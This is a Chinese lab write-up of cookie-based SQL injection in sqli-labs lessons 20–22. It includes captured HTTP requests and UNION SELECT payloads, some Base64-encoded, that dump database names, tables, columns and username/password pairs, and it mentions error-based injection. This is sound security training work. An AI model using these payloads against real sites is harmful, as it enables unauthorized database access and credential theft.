当前位置: 首页 > news >正文

sqli-labs less-20 less-21 less-22 cookie注入

COOKIE

作用:是由网络服务器存储在你电脑硬盘上的一个txt类型的小文件,它和你的网络行为有关,记录了当前用户的状态
形式:key=value
例如:当我们登录某个账号后,服务器会在cookies进行记录

在这里插入图片描述
在这里插入图片描述
个人理解当我们登录一个网站后。setcookie函数根据我们登录的账户及密码,加上获取当前时间等其他信息,来生成一个cookie,当我们再次访此页面,不需要重新登入,只需要比对cookie信息,比如在less-20中,cookie根据uname生成,然后用cookie中的信息来比对数据库中的uname,如果正确容许访问。负责拒绝

less-20

首先登入一个账号,模拟登入下的注入
登入后用bp抓包

GET /sq/Less-20/index.php HTTP/1.1
Host: 192.168.140.130
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:130.0) Gecko/20100101 Firefox/130.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Referer: http://192.168.140.130/sq/Less-20/index.php
Connection: keep-alive
Cookie:uname=admin
Upgrade-Insecure-Requests: 1
Priority: u=0, i

发现相较于之前,没有了post提交的表单信息,而是ookie:uname=admin
发包,页面回显
在这里插入图片描述
页面有cookie信息和name及password
当我们发包时,数据库提取cookie的uname与数据库的uname进行比较。
于是我们便可以在cookie处进行注入

闭合方式

GET /sq/Less-20/index.php HTTP/1.1
Host: 192.168.140.130
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:130.0) Gecko/20100101 Firefox/130.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,/;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Referer: http://192.168.140.130/sq/Less-20/index.php
Connection: keep-alive
Cookie:uname=admin' or 1=1 #
Upgrade-Insecure-Requests: 1
Priority: u=0, i

在cookie处多次尝试,确定闭合方式为',方法与前面关卡寻找闭合方式一样。

列数

Cookie:uname=admin’ order by 5 #
Cookie:uname=admin’ order by 4 #
Cookie:uname=admin’ order by 3 #

列数为3

回显位

Cookie:uname=adminaWE’ union select 1,2,3 #
记得uname为假值,来显示union查询的值

报数据

  • 所有表
  • Cookie:uname=adminaWE’ union select 1,group_concat(schema_name),3 from information_schema.schemata#
    security的所有表
  • Cookie:uname=adminaWE’ union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()#
    users表的所有列
  • Cookie:uname=adminaWE’ union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=database() and table_name=‘users’#
    数据
  • Cookie:uname=adminaWE’ union select 1,group_concat(username,password),3 from security.users #

less-21

本关卡当我们登入的时候发现页面显示
在这里插入图片描述
这里cookie变成了不认识的符号,我们复制过去百度一下,
在这里插入图片描述

发现这是一种编码,为Base64编码,熟悉的热相信一眼便可以看出来,于是我们不难猜测这是将前端表单信息进行编码,上传到后端解码在进行比对,
所以本关与less-20一致,只不过对cookie进行了Base64编码,我们在进行注入的时候可以先将语句写出来,进行编码,然后在bp中进行注入

闭合方式

构造语句并进行编码

在这里插入图片描述
在bp注入
在这里插入图片描述
回显
在这里插入图片描述
不难看出闭合方式为').

报数据

  • 所有表
  • Cookie:uname=adminaWE’) union select 1,group_concat(schema_name),3 from information_schema.schemata#
    编码YWRtaW5hV0UnKSB1bmlvbiBzZWxlY3QgMSxncm91cF9jb25jYXQoc2NoZW1hX25hbWUpLDMgZnJvbSBpbmZvcm1hdGlvbl9zY2hlbWEuc2NoZW1hdGEj

security的所有表

  • Cookie:uname=adminaWE’) union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()#
    编码
    YWRtaW5hV0UnKSB1bmlvbiBzZWxlY3QgMSxncm91cF9jb25jYXQodGFibGVfbmFtZSksMyBmcm9tIGluZm9ybWF0aW9uX3NjaGVtYS50YWJsZXMgd2hlcmUgdGFibGVfc2NoZW1hPWRhdGFiYXNlKCkj

users表的所有列

  • Cookie:uname=adminaWE’) union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=database() and table_name=‘users’#
    编码
    YWRtaW5hV0UnKSB1bmlvbiBzZWxlY3QgMSxncm91cF9jb25jYXQoY29sdW1uX25hbWUpLDMgZnJvbSBpbmZvcm1hdGlvbl9zY2hlbWEuY29sdW1ucyB3aGVyZSB0YWJsZV9zY2hlbWE9ZGF0YWJhc2UoKSBhbmQgdGFibGVfbmFtZT0ndXNlcnMnIw==

数据

  • Cookie:uname=adminaWE’) union select 1,group_concat(username,password),3 from security.users #
    编码
    YWRtaW5hV0UnKSB1bmlvbiBzZWxlY3QgMSxncm91cF9jb25jYXQodXNlcm5hbWUscGFzc3dvcmQpLDMgZnJvbSBzZWN1cml0eS51c2VycyAj

less-22

我们发现本关卡也对cookie进行了编码,当我们注入时,发现页面没有回显,当时页面有报错,所以使用报错注入,extractvalue,updatexml,floor都可以使用,闭合方式为".没有其他变化,所以不做过多演示,如果有需要,可以留言,我会将我的语句放在评论区


http://www.mrgr.cn/news/46510.html

相关文章:

  • XML在线格式化 - 加菲工具
  • Grails应用http.server.requests指标数据采集问题排查及解决
  • 技术管理专题学习笔记-技术管理能力对比--卓越和拙劣
  • 第五章:计算机网络
  • 【Qt】QThread总结
  • Java定时任务
  • Java基本数据类型转换
  • 在 CentOS 上安装 Docker 的步骤
  • 机器学习篇-day04-逻辑回归-分类评估-混淆矩阵-精确率-召回率-F1值
  • 【MySQL】基本查询(上):创建、读取
  • 如何在Android Studio中找到CMakeLists.txt的打印信息
  • C#操作SqlServer数据库存储过程
  • docker-compose查看容器日志和实时查看日志
  • 【C++】模板初阶
  • 前端Javascript常见算法题(一)【待学】
  • C/C++语言的函数指针
  • 欧盟零毁林法案 EUDR
  • .NET周刊【9月第4期 2024-09-22】
  • 【Power Query】用筛选和上下文 排名
  • 系统性能优化
  • minio简单使用
  • 谷歌AI大模型Gemini API快速入门及LangChain调用视频教程
  • Wasserstein距离
  • C++之multimap:关键字分类的利器
  • (Linux和数据库)1.Linux操作系统和常用命令
  • NLP: SBERT介绍及sentence-transformers库的使用